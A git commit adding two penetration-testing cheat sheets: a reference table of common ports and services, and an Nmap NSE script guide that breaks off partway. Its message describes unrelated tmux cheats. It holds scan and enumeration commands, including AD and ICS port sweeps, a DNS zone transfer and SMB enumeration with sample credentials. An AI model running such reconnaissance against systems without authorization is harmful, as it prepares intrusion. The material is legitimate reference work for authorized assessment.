commit 15338009401fcc96cb01f102336aaae7e8e6439f
parent 8a74d5e7565e0c6a385b49e0795ba1d910ec650d
Author: DAEMON <zer0sec.xp@icloud.com>
Date: Fri, 28 Aug 2026 19:49:35 +0100
tmux: add pane, session and zoom cheats
Why: kept re-googling detach/attach mid-engagement.
- prefix d detach
- tmux a -t NAME attach by name
- prefix z zoom one pane fullscreen
Diffstat:
15 files changed, 5751 insertions(+), 5253 deletions(-)
diff --git a/src/content/sheets/enumeration/common-ports-and-services.md b/src/content/sheets/enumeration/common-ports-and-services.md
@@ -0,0 +1,446 @@
+---
+title: "Common Ports & Services (2026)"
+description: "Field reference for common TCP/UDP ports and services — core internet, Windows/AD, web, database and remote-access mappings with confirmation tips."
+category: enumeration
+tags: ["enumeration", "port-scanning", "network"]
+tools: ["Nmap", "ffuf", "smbmap", "NetExec", "ldapsearch"]
+difficulty: beginner
+updated: "2026-08-28"
+source: "vault:Enumeration/Common Ports and Services Cheatsheet 2026.md"
+---
+> [!important]+ The Rule That Prevents Bad Findings
+> A port number is a **convention**, not proof of the application behind it. TCP and UDP are separate namespaces, services move to non-standard ports, and multiple products reuse popular ports such as 443, 8080, and 9000. Confirm with `nmap -sV`, a protocol handshake, TLS certificate/SNI, and application behaviour.
+>
+> Pairs with: Nmap Cheatsheet 2026, Nmap NSE Scripts Cheatsheet 2026, and NSE Guide.
+
+---
+
+## Port Number Ranges
+
+| Range | IANA Class | Typical Use |
+|---:|---|---|
+| `0` | Reserved | Not a normal service port; some scanners only include it when explicitly requested |
+| `1–1023` | System ports | Core protocols and privileged listeners on Unix-like systems |
+| `1024–49151` | User/registered ports | Applications and registered vendor services |
+| `49152–65535` | Dynamic/private ports | Client ephemeral ports, dynamic RPC, and private services |
+
+> [!note]+ Same Number, Different Transport
+> `53/tcp` and `53/udp` are different endpoints. DNS uses both; `514/udp` usually means syslog while `514/tcp` historically maps to the remote-shell service. Always record `port/protocol`, not the number alone.
+
+---
+
+## Core Internet and Infrastructure Services
+
+| Port | Transport | Usual Service | What It Normally Does / Important Note |
+|---:|:---:|---|---|
+| 20 | TCP | FTP data | Active-mode FTP data channel |
+| 21 | TCP | FTP control | File transfer commands and authentication |
+| 22 | TCP | SSH | Secure shell; also SFTP and SCP |
+| 23 | TCP | Telnet | Cleartext remote terminal; common on legacy/IoT equipment |
+| 25 | TCP | SMTP | Server-to-server mail transfer; STARTTLS may upgrade encryption |
+| 49 | TCP/UDP | TACACS+ / TACACS | Network-device AAA; TACACS+ normally uses TCP |
+| 53 | TCP/UDP | DNS | UDP for most queries; TCP for large responses, zone transfers, and fallback |
+| 67 | UDP | DHCP server | IPv4 address/configuration offers |
+| 68 | UDP | DHCP client | IPv4 DHCP client endpoint |
+| 69 | UDP | TFTP | Simple unauthenticated file transfer; PXE/network-device use |
+| 80 | TCP | HTTP | Unencrypted web traffic or redirect to HTTPS |
+| 88 | TCP/UDP | Kerberos | Authentication, especially Active Directory |
+| 110 | TCP | POP3 | Mailbox retrieval without implicit TLS |
+| 111 | TCP/UDP | rpcbind/portmapper | Maps ONC RPC programs; commonly exposes NFS-related services |
+| 119 | TCP | NNTP | Usenet/news transfer |
+| 123 | UDP | NTP | Network time synchronization |
+| 135 | TCP | MS RPC endpoint mapper | Microsoft DCOM/RPC service discovery |
+| 137 | UDP | NetBIOS name service | Legacy Windows name registration/resolution |
+| 138 | UDP | NetBIOS datagram | Legacy Windows connectionless messaging/browsing |
+| 139 | TCP | NetBIOS session/SMB | SMB over NetBIOS; legacy Windows file sharing |
+| 143 | TCP | IMAP | Mailbox access without implicit TLS |
+| 161 | UDP | SNMP | Device monitoring and management queries |
+| 162 | UDP | SNMP trap | Unsolicited SNMP alerts to a manager |
+| 179 | TCP | BGP | Inter-router Internet routing protocol |
+| 389 | TCP/UDP | LDAP / CLDAP | Directory queries; UDP is commonly CLDAP discovery |
+| 427 | TCP/UDP | SLP | Service Location Protocol discovery |
+| 443 | TCP/UDP | HTTPS / HTTP/3 | HTTPS over TCP; QUIC/HTTP/3 commonly uses UDP 443 |
+| 445 | TCP | SMB | Direct-hosted SMB for Windows file, printer, and AD services |
+| 464 | TCP/UDP | Kerberos password change | `kpasswd` password set/change service |
+| 500 | UDP | IKE/ISAKMP | IPsec VPN key exchange |
+| 514 | UDP | Syslog | Traditional unencrypted log transport |
+| 514 | TCP | rsh `shell` | Legacy remote shell assignment; modern syslog-over-TCP deployments also reuse it |
+| 515 | TCP | LPD/LPR | Legacy network printing |
+| 520 | UDP | RIP | IPv4 routing updates |
+| 521 | UDP | RIPng | IPv6 routing updates |
+| 546 | UDP | DHCPv6 client | IPv6 DHCP client endpoint |
+| 547 | UDP | DHCPv6 server | IPv6 DHCP server/relay endpoint |
+| 548 | TCP | AFP | Apple Filing Protocol |
+| 554 | TCP/UDP | RTSP | Streaming-media session control |
+| 587 | TCP | Mail submission | Authenticated client-to-mail-server submission with STARTTLS |
+| 623 | UDP | IPMI RMCP | Out-of-band baseboard management traffic |
+| 631 | TCP/UDP | IPP/CUPS | Modern network printing and print-service discovery |
+| 636 | TCP | LDAPS | LDAP wrapped in TLS |
+| 853 | TCP/UDP | Encrypted DNS | DNS over TLS on TCP; DNS over QUIC may use UDP |
+| 873 | TCP | rsync | File synchronization; modules may be exposed anonymously |
+| 989 | TCP | FTPS data | FTP data over implicit TLS |
+| 990 | TCP | FTPS control | FTP control over implicit TLS |
+| 993 | TCP | IMAPS | IMAP over implicit TLS |
+| 995 | TCP | POP3S | POP3 over implicit TLS |
+
+---
+
+## Windows and Active Directory
+
+| Port/Range | Transport | Service | AD / Windows Role |
+|---:|:---:|---|---|
+| 53 | TCP/UDP | DNS | AD-integrated DNS and domain-controller discovery |
+| 88 | TCP/UDP | Kerberos | Ticket granting and service authentication |
+| 123 | UDP | NTP | Domain time synchronization; Kerberos is time-sensitive |
+| 135 | TCP | MSRPC endpoint mapper | Locates dynamic RPC services |
+| 137–139 | TCP/UDP | NetBIOS | Legacy naming, datagrams, and SMB sessions |
+| 389 | TCP/UDP | LDAP/CLDAP | Directory queries and DC discovery |
+| 445 | TCP | SMB | Shares, named pipes, Group Policy, SYSVOL/NETLOGON |
+| 464 | TCP/UDP | `kpasswd` | Kerberos password operations |
+| 593 | TCP | RPC over HTTP | Microsoft RPC transport over HTTP |
+| 636 | TCP | LDAPS | TLS-wrapped LDAP |
+| 3268 | TCP | Global Catalog LDAP | Forest-wide partial directory search |
+| 3269 | TCP | Global Catalog LDAPS | TLS-wrapped Global Catalog |
+| 3389 | TCP/UDP | RDP | Remote Desktop; modern RDP also uses UDP |
+| 5985 | TCP | WinRM HTTP | PowerShell remoting/WS-Management without TLS wrapper |
+| 5986 | TCP | WinRM HTTPS | TLS-wrapped WinRM |
+| 9389 | TCP | AD Web Services | PowerShell AD module and AD Administrative Center |
+| 49152–65535 | TCP | Dynamic RPC | Default modern Windows high RPC endpoint range |
+
+```bash
+# Targeted AD/DC service confirmation
+sudo nmap -sS -sU -Pn -sV \
+ -p T:53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,5986,9389,U:53,88,123,137,138,389,464 \
+ <target>
+```
+
+> [!tip]+ Recognizing a Domain Controller
+> The combination of DNS, Kerberos, LDAP, SMB, Global Catalog, and AD Web Services is much more meaningful than any one open port. Use `-sV`, LDAP RootDSE, SMB discovery, DNS SRV records, and TLS certificates to confirm the role.
+
+---
+
+## Remote Administration, AAA, Proxies, and VPNs
+
+| Port | Transport | Usual Service | Note |
+|---:|:---:|---|---|
+| 22 | TCP | SSH | Unix/network-device administration and tunnelling |
+| 23 | TCP | Telnet | Cleartext legacy administration |
+| 49 | TCP | TACACS+ | Central network-device authentication/authorization/accounting |
+| 443 | TCP | SSL VPN / web admin | Common shared port; fingerprint the product |
+| 500 | UDP | IKE | IPsec phase-one negotiation |
+| 1080 | TCP | SOCKS proxy | Generic TCP proxy/pivot endpoint |
+| 1194 | UDP/TCP | OpenVPN | UDP is the common default |
+| 1701 | UDP | L2TP | Often paired with IPsec rather than exposed alone |
+| 1723 | TCP | PPTP control | Data uses GRE IP protocol 47, not another TCP/UDP port |
+| 1812 | UDP | RADIUS authentication | Network access authentication |
+| 1813 | UDP | RADIUS accounting | Session/accounting records |
+| 3128 | TCP | Squid HTTP proxy | Forward proxy and web cache |
+| 3389 | TCP/UDP | RDP | Windows graphical administration |
+| 4500 | UDP | IPsec NAT-T | Encapsulates IPsec ESP through NAT |
+| 4899 | TCP | Radmin | Third-party Windows remote administration |
+| 5900–5999 | TCP | VNC | Display numbers commonly map from 5900 upward |
+| 5985/5986 | TCP | WinRM | Windows remote management over HTTP/HTTPS |
+| 7547 | TCP | TR-069/CWMP | ISP management of customer-premises equipment |
+| 8291 | TCP | MikroTik Winbox | RouterOS administration |
+| 10000 | TCP | Webmin | Unix web administration console |
+| 16992–16995 | TCP | Intel AMT | Out-of-band management, HTTP(S), and redirection services |
+| 51820 | UDP | WireGuard | Common/default WireGuard tunnel port; configurable |
+
+---
+
+## File Sharing, Storage, and Printing
+
+| Port | Transport | Service | Typical Use |
+|---:|:---:|---|---|
+| 20/21 | TCP | FTP | Legacy file transfer |
+| 22 | TCP | SFTP/SCP | SSH-based encrypted file transfer |
+| 69 | UDP | TFTP | PXE boot, firmware, and network-device configs |
+| 111 | TCP/UDP | rpcbind | Discovers dynamic NFS/ONC RPC programs |
+| 139/445 | TCP | SMB | Windows/Samba file and printer sharing |
+| 515 | TCP | LPD | Legacy printer queue protocol |
+| 548 | TCP | AFP | Legacy Apple file sharing |
+| 631 | TCP/UDP | IPP | CUPS and modern printing |
+| 873 | TCP | rsync | File synchronization modules |
+| 989/990 | TCP | FTPS | Implicit-TLS FTP data/control |
+| 2049 | TCP/UDP | NFS | Unix network file systems; modern NFS favors TCP |
+| 3260 | TCP | iSCSI | Block-storage transport |
+| 9100 | TCP | JetDirect/raw printing | Direct printer data socket; also reused by node_exporter |
+
+---
+
+## Databases, Search, and Caches
+
+| Port | Transport | Usual Product/Protocol | Note |
+|---:|:---:|---|---|
+| 1433 | TCP | Microsoft SQL Server | Database engine endpoint |
+| 1434 | UDP | SQL Server Browser | Instance/port discovery |
+| 1521 | TCP | Oracle TNS Listener | Oracle database connection broker |
+| 3050 | TCP | Firebird | Firebird relational database |
+| 3306 | TCP | MySQL/MariaDB | MySQL protocol |
+| 5432 | TCP | PostgreSQL | PostgreSQL wire protocol |
+| 5984 | TCP | CouchDB | HTTP API |
+| 6379 | TCP | Redis | In-memory data store; TLS is often configured elsewhere |
+| 7474 | TCP | Neo4j HTTP | Neo4j browser/HTTP API |
+| 7687 | TCP | Neo4j Bolt | Native Bolt protocol |
+| 8086 | TCP | InfluxDB | HTTP API |
+| 8123 | TCP | ClickHouse HTTP | HTTP query interface |
+| 8529 | TCP | ArangoDB | HTTP API |
+| 9000 | TCP | ClickHouse native | Also heavily reused by unrelated products |
+| 9042 | TCP | Cassandra CQL | Native Cassandra client protocol |
+| 9200 | TCP | Elasticsearch HTTP | REST API |
+| 9300 | TCP | Elasticsearch transport | Cluster/node transport |
+| 11211 | TCP/UDP | Memcached | Distributed memory cache; UDP should rarely be exposed |
+| 27017 | TCP | MongoDB | MongoDB client protocol |
+
+> [!warning]+ Databases Should Rarely Be Internet-Facing
+> An open database port is not automatically unauthenticated. Confirm binding scope, TLS, authentication, authorization, and network policy with approved credentials rather than inferring exposure from the port alone.
+
+---
+
+## Containers, Orchestration, and DevOps
+
+| Port | Transport | Usual Product/Service | Security-Relevant Note |
+|---:|:---:|---|---|
+| 2375 | TCP | Docker API (plain HTTP) | Unauthenticated exposure can amount to host control |
+| 2376 | TCP | Docker API (TLS) | Confirm mutual TLS and authorization |
+| 2377 | TCP | Docker Swarm management | Manager control plane |
+| 2379 | TCP | etcd client API | Kubernetes state/config data |
+| 2380 | TCP | etcd peer traffic | Cluster replication |
+| 3000 | TCP | Grafana / dev web server | Product convention, not reliable identification |
+| 4646 | TCP | Nomad HTTP API | HashiCorp Nomad control/API |
+| 4789 | UDP | VXLAN | Overlay-network encapsulation |
+| 5000 | TCP | Container registry / dev web | Frequently reused; fingerprint it |
+| 5601 | TCP | Kibana | Elastic web interface |
+| 6443 | TCP | Kubernetes API | Kubernetes control-plane API |
+| 8001 | TCP | Kubernetes API proxy | Common local `kubectl proxy` listener |
+| 8200 | TCP | HashiCorp Vault API | Secrets-management API |
+| 8500 | TCP | Consul HTTP API | Service catalog/control API |
+| 8501 | TCP | Consul HTTPS API | TLS-wrapped Consul HTTP API |
+| 8600 | TCP/UDP | Consul DNS | Service discovery through DNS |
+| 9000 | TCP | Portainer legacy / SonarQube / apps | Highly ambiguous convention |
+| 9090 | TCP | Prometheus | Metrics query and web UI |
+| 9093 | TCP | Alertmanager | Prometheus alert management |
+| 9100 | TCP | Prometheus node_exporter | Conflicts with raw printer convention |
+| 9418 | TCP | Git protocol | Unencrypted native Git transport |
+| 10250 | TCP | Kubelet API | Node-level Kubernetes API |
+| 15672 | TCP | RabbitMQ management | HTTP management UI/API |
+| 50000 | TCP | Jenkins inbound agent | Configurable; not every Jenkins uses it |
+
+---
+
+## Messaging, Queues, and Service Discovery
+
+| Port | Transport | Service | Typical Role |
+|---:|:---:|---|---|
+| 1883 | TCP | MQTT | Unencrypted IoT/message broker traffic |
+| 2181 | TCP | ZooKeeper | Distributed coordination |
+| 3478 | TCP/UDP | STUN/TURN | NAT traversal for real-time communications |
+| 3702 | UDP | WS-Discovery | Windows/printer/device discovery multicast |
+| 4222 | TCP | NATS | Client messaging endpoint |
+| 4369 | TCP | Erlang EPMD | Discovers Erlang distributed-node ports |
+| 5349 | TCP/UDP | TURN over TLS/DTLS | Encrypted relay service |
+| 5353 | UDP | mDNS | `.local` multicast service discovery |
+| 5355 | TCP/UDP | LLMNR | Windows local-link name resolution |
+| 5671 | TCP | AMQP over TLS | TLS-wrapped message queue protocol |
+| 5672 | TCP | AMQP | RabbitMQ and other AMQP brokers |
+| 5683 | UDP | CoAP | Constrained/IoT application protocol |
+| 5684 | UDP | CoAP over DTLS | Encrypted CoAP |
+| 8222 | TCP | NATS monitoring | HTTP monitoring endpoint |
+| 8883 | TCP | MQTT over TLS | TLS-wrapped MQTT |
+| 9092 | TCP | Apache Kafka | Broker/client protocol |
+| 25672 | TCP | Erlang/RabbitMQ distribution | RabbitMQ inter-node traffic |
+| 61613 | TCP | STOMP | Messaging protocol, often ActiveMQ |
+| 61616 | TCP | ActiveMQ OpenWire | ActiveMQ broker transport |
+
+---
+
+## Email and Collaboration
+
+| Port | Transport | Service | Typical Use |
+|---:|:---:|---|---|
+| 25 | TCP | SMTP | Mail relay/server-to-server transfer |
+| 110 | TCP | POP3 | Mail retrieval with optional STARTTLS |
+| 143 | TCP | IMAP | Mailbox access with optional STARTTLS |
+| 465 | TCP | Submissions over TLS | Implicit-TLS mail submission |
+| 587 | TCP | Message submission | Authenticated submission, normally STARTTLS |
+| 993 | TCP | IMAPS | IMAP over implicit TLS |
+| 995 | TCP | POP3S | POP3 over implicit TLS |
+| 2525 | TCP | Alternate SMTP/submission | Common provider convention, not universal |
+| 4190 | TCP | ManageSieve | Server-side mail-filter management |
+| 5222 | TCP | XMPP client | Client-to-server chat/federation ecosystem |
+| 5269 | TCP | XMPP server | Server-to-server federation |
+
+---
+
+## Voice, Video, and Real-Time Communications
+
+| Port/Range | Transport | Service | Typical Use |
+|---:|:---:|---|---|
+| 1720 | TCP | H.323 | Call signalling |
+| 2427 | UDP | MGCP gateway | Media gateway control |
+| 3478 | TCP/UDP | STUN/TURN | NAT discovery and media relay |
+| 4569 | UDP | IAX2 | Asterisk inter-server/client VoIP |
+| 5060 | TCP/UDP | SIP | Unencrypted signalling |
+| 5061 | TCP | SIP over TLS | TLS-wrapped SIP signalling |
+| 5349 | TCP/UDP | TURN over TLS/DTLS | Encrypted media relay |
+| 16384–32767 | UDP | RTP/RTCP convention | Dynamic voice/video media range; implementation-specific |
+
+---
+
+## Monitoring and Logging
+
+| Port | Transport | Service | Typical Use |
+|---:|:---:|---|---|
+| 161/162 | UDP | SNMP / traps | Polling and asynchronous device alerts |
+| 514 | UDP | Syslog | Traditional unencrypted logs |
+| 2003 | TCP | Graphite Carbon | Plaintext metric ingestion |
+| 5666 | TCP | NRPE | Nagios remote plugin execution |
+| 6514 | TCP | Syslog over TLS | Encrypted log transport |
+| 8125 | UDP | StatsD | Metric ingestion |
+| 9090 | TCP | Prometheus | Metrics/query web service |
+| 9093 | TCP | Alertmanager | Alert routing/management |
+| 9100 | TCP | node_exporter | Host metrics; conflicts with JetDirect convention |
+| 10050 | TCP | Zabbix agent | Agent checks |
+| 10051 | TCP | Zabbix server/trapper | Server/proxy collection endpoint |
+
+---
+
+## ICS / OT and Building Automation
+
+> [!danger]+ Fragile Environments
+> Do not assume ordinary IT scan rates are safe for PLCs, safety systems, field devices, printers, or building controllers. Prefer passive asset data and vendor-approved, rate-limited probes under explicit OT rules of engagement.
+
+| Port | Transport | Protocol/Product Family | Typical Environment |
+|---:|:---:|---|---|
+| 102 | TCP | ISO-TSAP / Siemens S7 | Siemens PLC programming/communications |
+| 502 | TCP | Modbus/TCP | PLC, HMI, energy, and industrial control |
+| 1911 | TCP | Niagara Fox | Building automation |
+| 1962 | TCP/UDP | PCWorx | Phoenix Contact PLC engineering |
+| 2404 | TCP | IEC 60870-5-104 | Electric utility telecontrol |
+| 4840 | TCP | OPC UA | Industrial interoperability/data modelling |
+| 5094 | TCP/UDP | HART-IP | Industrial field-device communications |
+| 9600 | TCP/UDP | OMRON FINS | OMRON PLC communications |
+| 20000 | TCP/UDP | DNP3 | Utility/SCADA telemetry and control |
+| 34962–34964 | UDP | PROFINET | Discovery, RPC/context, and alarms |
+| 44818 | TCP/UDP | EtherNet/IP | Common Industrial Protocol (CIP) |
+| 47808 | UDP | BACnet/IP | Building automation and HVAC |
+
+---
+
+## Frequently Ambiguous Web and Application Ports
+
+| Port | Common Possibilities | Do Not Assume |
+|---:|---|---|
+| 3000 | Grafana, Rails/Node/React dev server | That it is Grafana |
+| 5000 | Flask/dev server, Docker Registry, UPnP control, vendor API | That HTTP implies one product |
+| 8000 | Django/dev HTTP, appliance UI, streaming service | That it is “just alternate HTTP” |
+| 8008 | Alternate HTTP, Chromecast-related traffic, appliance UI | Product identity |
+| 8080 | Proxy, Tomcat, Jenkins, alternate HTTP/admin UI | That it is always a web proxy |
+| 8081 | Artifact repository, alternate admin UI, dev server | Nexus/Artifactory without fingerprints |
+| 8443 | Alternate HTTPS, Kubernetes/dashboard/appliance UI | That TLS identifies the application |
+| 8888 | Jupyter, alternate HTTP, proxy/control UI | That an exposed notebook exists |
+| 9000 | ClickHouse, SonarQube, Portainer legacy, PHP-FPM/vendor apps | Any single product |
+| 9100 | JetDirect raw printing or Prometheus node_exporter | Printer versus metrics service |
+| 9443 | Alternate HTTPS, container/admin UI | Product or authorization model |
+
+```bash
+# Identify an ambiguous service instead of trusting the port label
+nmap -Pn -n -sV --version-all --reason -p3000,5000,8000,8080,8443,9000,9100 <target>
+
+# Add web/TLS metadata where applicable
+nmap -Pn -n -sV -p3000,5000,8000,8080,8443,9000,9100 \
+ --script=http-title,http-headers,ssl-cert <target>
+```
+
+---
+
+## High-Value UDP Triage List
+
+```bash
+sudo nmap -sU -Pn -n -sV --reason \
+ -p53,67,68,69,88,111,123,137,138,161,162,389,500,514,520,521,623,1434,1701,1812,1813,1900,2049,3478,3702,4500,4789,5060,5353,5355,5683,11211,20000,34962-34964,44818,47808,51820 \
+ <target>
+```
+
+| UDP Port | First Thought | Confirmation Idea |
+|---:|---|---|
+| 53 | DNS | `dig`, `dns-nsid`, recursion/authoritative checks |
+| 69 | TFTP | Request a known in-scope filename; avoid blind writes |
+| 123 | NTP | `ntpq`, `ntp-info` |
+| 161 | SNMP | `snmpwalk` with an approved community/credential |
+| 500/4500 | IPsec VPN | IKE fingerprinting; confirm NAT-T |
+| 623 | IPMI | RMCP/IPMI version and cipher checks |
+| 1434 | SQL Browser | Query instance names/ports |
+| 1900 | SSDP/UPnP | Multicast discovery and device description XML |
+| 5353 | mDNS | Browse `.local` service records |
+| 11211 | Memcached | Confirm UDP enablement; amplification exposure is high risk |
+
+---
+
+## IP Protocol Numbers Are Not Ports
+
+| IP Protocol Number | Protocol | Why You May See It |
+|---:|---|---|
+| 1 | ICMP | IPv4 errors and diagnostics |
+| 2 | IGMP | IPv4 multicast membership |
+| 4 | IP-in-IP | IP tunnelling |
+| 6 | TCP | Transmission Control Protocol |
+| 17 | UDP | User Datagram Protocol |
+| 41 | IPv6 encapsulation | IPv6-in-IPv4 tunnels |
+| 47 | GRE | PPTP data and generic routing encapsulation |
+| 50 | ESP | IPsec encrypted payload |
+| 51 | AH | IPsec authentication header |
+| 58 | ICMPv6 | IPv6 discovery, errors, and diagnostics |
+| 89 | OSPF | Interior routing protocol |
+| 132 | SCTP | Telecom/signalling and specialized applications |
+
+```bash
+# Scan IP protocol numbers rather than TCP/UDP ports
+sudo nmap -sO --reason <target>
+```
+
+---
+
+## From an Open Port to the Right Next Tool
+
+| Service | Confirm / Enumerate With |
+|---|---|
+| DNS | `dig`, `host`, `dnsrecon`, Nmap `dns-*` scripts |
+| FTP | `ftp`, `curl`, `ftp-anon`, banner and TLS inspection |
+| SSH | `ssh -vv`, `ssh-keyscan`, `ssh-audit`, SSH NSE scripts |
+| HTTP(S) | `curl`, browser/devtools, `whatweb`, `ffuf`, HTTP/TLS NSE |
+| SMB | `smbclient`, `enum4linux-ng`, `netexec`, `smbmap`, SMB NSE |
+| LDAP | `ldapsearch`, RootDSE query, TLS certificate review |
+| Kerberos | DNS SRV records, `kinit`, approved AD enumeration tooling |
+| SNMP | `snmpwalk`, `snmpget`, SNMP NSE scripts |
+| NFS | `rpcinfo`, `showmount`, NFS NSE scripts |
+| SMTP | `openssl s_client`, SMTP dialogue, `smtp-*` NSE scripts |
+| RDP | `xfreerdp`, RDP encryption/NTLM-info NSE |
+| WinRM | PowerShell remoting or `evil-winrm` with approved credentials |
+| Database | Native read-only client with an approved account; capture TLS/auth settings |
+
+---
+
+## Quick Reference Scan Sets
+
+```bash
+# Common TCP infrastructure and administration
+sudo nmap -sS -Pn -n -sV \
+ -p21,22,23,25,49,53,80,88,110,111,135,139,143,179,389,443,445,464,514,515,548,554,587,631,636,873,990,993,995,1080,1194,1433,1521,1723,2049,2375,2376,3000,3128,3260,3268,3269,3306,3389,5432,5672,5900,5985,5986,6379,6443,8080,8443,8883,9000,9090,9100,9200,10000,10250,11211,27017 \
+ <target>
+
+# Core UDP infrastructure
+sudo nmap -sU -Pn -n -sV \
+ -p53,67,68,69,88,111,123,137,138,161,162,389,500,514,520,521,623,1434,1701,1812,1813,1900,2049,3478,3702,4500,4789,5060,5353,5355,5683,51820 \
+ <target>
+```
+
+---
+
+## References
+
+1. [IANA Service Name and Transport Protocol Port Number Registry](https://www.iana.org/assignments/service-names-port-numbers/)
+2. [RFC 6335 — Service Name and Port Number Procedures](https://www.rfc-editor.org/rfc/rfc6335)
+3. [Nmap `nmap-services` Database](https://nmap.org/book/nmap-services.html)
+4. [Nmap Service and Version Detection](https://nmap.org/book/vscan.html)
+5. [Nmap Port Specification](https://nmap.org/book/man-port-specification.html)
diff --git a/src/content/sheets/enumeration/nmap-nse-scripts.md b/src/content/sheets/enumeration/nmap-nse-scripts.md
@@ -0,0 +1,351 @@
+---
+title: "Nmap NSE Scripts (2026)"
+description: "Operator quick reference for selecting, running, constraining and troubleshooting Nmap NSE scripts by category and target service."
+category: enumeration
+tags: ["enumeration", "port-scanning", "network"]
+tools: ["Nmap"]
+difficulty: intermediate
+updated: "2026-08-28"
+source: "vault:Enumeration/Nmap NSE Scripts Cheatsheet 2026.md"
+---
+> [!important]+ Purpose
+> This is the compact, action-first NSE sheet: how to select, review, run, constrain, and troubleshoot scripts during an authorized assessment. For detailed per-port write-ups and example output, use NSE Guide. Pair with Nmap Cheatsheet 2026 and Common Ports and Services Cheatsheet 2026.
+
+> [!danger]+ NSE Executes Code
+> NSE scripts are Lua programs and are **not sandboxed**. Category labels describe intent; they are not a guarantee of safety. Audit third-party scripts and review `--script-help` before using `intrusive`, `brute`, `vuln`, `exploit`, `dos`, or `fuzzer` against anything sensitive.
+
+---
+
+## The 60-Second Workflow
+
+```bash
+# 1. Find the service and version first
+nmap -Pn -n -sV -p443 <target>
+
+# 2. Inspect candidate scripts before executing them
+nmap --script-help 'http-title,ssl-cert,ssl-enum-ciphers'
+
+# 3. Run an explicit, reviewable bundle and save evidence
+nmap -Pn -n -sV -p443 \
+ --script=http-title,http-headers,ssl-cert,ssl-enum-ciphers \
+ <target> -oA nse-https
+
+# 4. Trace only when output is missing or surprising
+nmap -Pn -n -p443 --script=ssl-cert --script-trace <target>
+```
+
+> [!tip]+ Explicit Names Beat Giant Categories
+> `--script=vuln` is easy to type but difficult to review and reproduce. A comma-separated list records exactly what was approved and run. Use categories for discovery, then narrow the final evidence command to named scripts.
+
+---
+
+## Selection Syntax
+
+| Syntax | Meaning |
+|---|---|
+| `-sC` | Run the curated `default` category |
+| `--script=default` | Same script selection as `-sC` |
+| `--script=http-title` | One named script |
+| `--script=http-title,ssl-cert` | Multiple names/categories (logical OR) |
+| `--script='http-*'` | All matching script names; quote the shell wildcard |
+| `--script='default or safe'` | Scripts in either category |
+| `--script='default and safe'` | Scripts present in both categories |
+| `--script='(default or safe) and not broadcast'` | Boolean selection with exclusion |
+| `--script='+http-title'` | Force a script even if its run rule would not select the port |
+| `--script=/path/check.nse` | Run a trusted script by file path |
+| `--script-help <expression>` | Show names, categories, and descriptions without scanning |
+
+> [!warning]+ The `+` Prefix Bypasses a Safety Check
+> A script's `portrule`/`hostrule` normally decides whether it applies. Forcing execution is useful on non-standard ports, but first add `-sV` and verify the detected service. Do not use `+` merely because a script produced no output.
+
+---
+
+## Script Categories by Operational Risk
+
+| Category | Typical Purpose | Starting Assumption |
+|---|---|---|
+| `default` | Curated useful/fast/reliable checks | Usually a reasonable first pass |
+| `safe` | Intended not to exploit, crash, or consume excessive resources | Low impact, not zero traffic |
+| `version` | Enhances service/version detection | Usually low impact |
+| `discovery` | Finds hosts, services, names, or configuration | Review scope expansion and query volume |
+| `broadcast` | Local multicast/broadcast discovery | Can discover targets outside the original list |
+| `auth` | Authentication configuration or bypass checks | May generate login/security events |
+| `external` | Sends information to an external service | Privacy/data-handling review required |
+| `vuln` | Tests for known vulnerabilities | Mixed; read each script description |
+| `intrusive` | Higher traffic, state changes, or resource use possible | Explicit approval and maintenance awareness |
+| `brute` | Repeated credential attempts | Lockout, alerting, and audit-log risk |
+| `exploit` | Attempts exploitation | High risk; explicit RoE |
+| `dos` | Tests denial-of-service conditions | Never run casually against live services |
+| `fuzzer` | Sends malformed/unexpected inputs | Crash/state-corruption risk |
+| `malware` | Detects malware/backdoors | Read implementation; behaviour varies |
+
+```bash
+# Review everything selected by an expression without touching a target
+nmap --script-help '(default or safe) and not external'
+
+# Controlled low-impact starting point
+nmap -sV --script='default or safe' <target>
+```
+
+---
+
+## Script Arguments
+
+```bash
+# Inline comma-separated key/value pairs: quote the whole expression
+nmap -p80 --script=http-title \
+ --script-args='http.host=app.example.test' <target>
+
+# SMB authentication
+nmap -p445 --script=smb-enum-shares \
+ --script-args='smbdomain=ACME,smbusername=alice,smbpassword=Password123!' \
+ <target>
+
+# SNMP community supplied as an empty username plus password/community
+sudo nmap -sU -p161 --script=snmp-info,snmp-sysdescr \
+ --script-args='creds.snmp=:public' <target>
+
+# Prefer a file when values need complex quoting or should not sit in history
+nmap -p445 --script=smb-enum-shares \
+ --script-args-file nse-args.txt <target>
+```
+
+> [!warning]+ Credential Handling
+> Command-line secrets may appear in shell history and process listings. Use dedicated assessment credentials, protect argument files, remove them according to the evidence-handling plan, and prefer Kerberos/ticket workflows where the script supports them.
+
+### Useful Global Controls
+
+| Option | Purpose |
+|---|---|
+| `--script-args='k=v,...'` | Supply script arguments inline |
+| `--script-args-file file` | Load arguments from a file |
+| `--script-timeout 30s` | Stop an individual script after the limit |
+| `--script-trace` | Show data sent and received by scripts |
+| `--script-help expression` | Review matching script documentation |
+| `--script-updatedb` | Rebuild `script.db` after adding/removing scripts |
+| `-d` / `-d2` | Add Nmap/NSE debug information |
+| `-oA basename` | Save normal, XML, and greppable evidence |
+
+---
+
+## Protocol Bundles — Review Before Use
+
+> [!note]+ Adjust Ports to the Detected Service
+> The ports below are defaults, not requirements. Run `-sV`, then target the actual service wherever it is listening. Most examples favor `safe`/`discovery` scripts, but specifically marked follow-ups include `auth` or `intrusive` scripts.
+
+### FTP — TCP 21
+
+```bash
+nmap -sV -p21 --script=ftp-anon,ftp-syst,ftp-bounce <target>
+```
+
+### SSH — TCP 22
+
+```bash
+nmap -sV -p22 \
+ --script=ssh-hostkey,ssh2-enum-algos <target>
+
+# Categorized auth/intrusive: run only after reviewing impact
+nmap --script-help ssh-auth-methods
+nmap -sV -p22 --script=ssh-auth-methods <target>
+```
+
+### SMTP — TCP 25/465/587
+
+```bash
+nmap -sV -p25,465,587 \
+ --script=smtp-commands,smtp-ntlm-info <target>
+
+# Open-relay testing can cause delivery attempts: review script/RoE first
+nmap --script-help smtp-open-relay
+```
+
+### DNS — TCP/UDP 53
+
+```bash
+sudo nmap -sS -sU -p T:53,U:53 \
+ --script=dns-nsid,dns-recursion <target>
+
+# Zone transfer is an explicit follow-up against an authoritative server
+nmap -p53 --script=dns-zone-transfer \
+ --script-args='dns-zone-transfer.domain=example.test' <dns-server>
+```
+
+### HTTP — TCP 80/443/8000/8080/8443
+
+```bash
+nmap -sV -p80,443,8000,8080,8443 \
+ --script=http-title,http-headers,http-methods <target>
+
+# More requests and path guessing: useful, but noisier
